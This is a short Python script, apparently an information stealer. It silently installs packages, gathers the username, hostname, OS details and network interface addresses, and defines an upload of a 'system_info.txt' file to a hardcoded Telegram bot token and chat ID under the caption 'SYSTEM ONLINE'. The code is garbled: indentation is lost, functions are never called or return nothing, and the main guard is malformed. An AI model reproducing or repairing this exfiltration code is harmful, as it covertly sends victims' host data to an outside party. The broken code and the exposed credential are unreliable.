import os
import socket
import platform
import datetime
try:
import psutil
import requests
except:
os.system("pip install psutil requests -q")
def get_system_info():
info = "--- System Information ---\n"
info += f"User: {os.getlogin()}\n"
info += f"Hostname: {socket.gethostname()}\n"
info += f"Machine: {platform.machine()}\n"
info += f"Processor: {platform.processor()}\n"
info += f"System Platform: {platform.system()}\n"
info += f"Release: {platform.release()}\n"
info += f"Version: {platform.version()}\n\n"
return info
def get_network_info():
info = "--- Network Information ---\n"
info += "Network Interfaces:\n"
for interface, addrs in psutil.net_if_addrs().items():
info += f" {interface}:\n"
for addr in addrs:
info += f" Address: {addr.address}\n"
info += f" Netmask: {addr.netmask}\n"
info += f" Broadcast IP: {addr.broadcast}\n"
info += f" PTMP IP: {addr.ptp}\n"
info += "\n"
def send_file_to_telegram(bot_token, chat_id, file_path):
url = f"https://api.telegram.org/bot{bot_token}/sendDocument"
params = {
"chat_id": chat_id,
"caption": "~ SYSTEM ONLINE !"
}
files = {
"document": open(file_path, "rb")
}
response = requests.post(url, params=params, files=files)
def main():
bot_token = "6301442969:AAGUncXdds4KHIa_yMQUCHSsQWaBxoKWNUY"
chat_id = "6271387222"
file_path = "system_info.txt"
if name == "main":
main()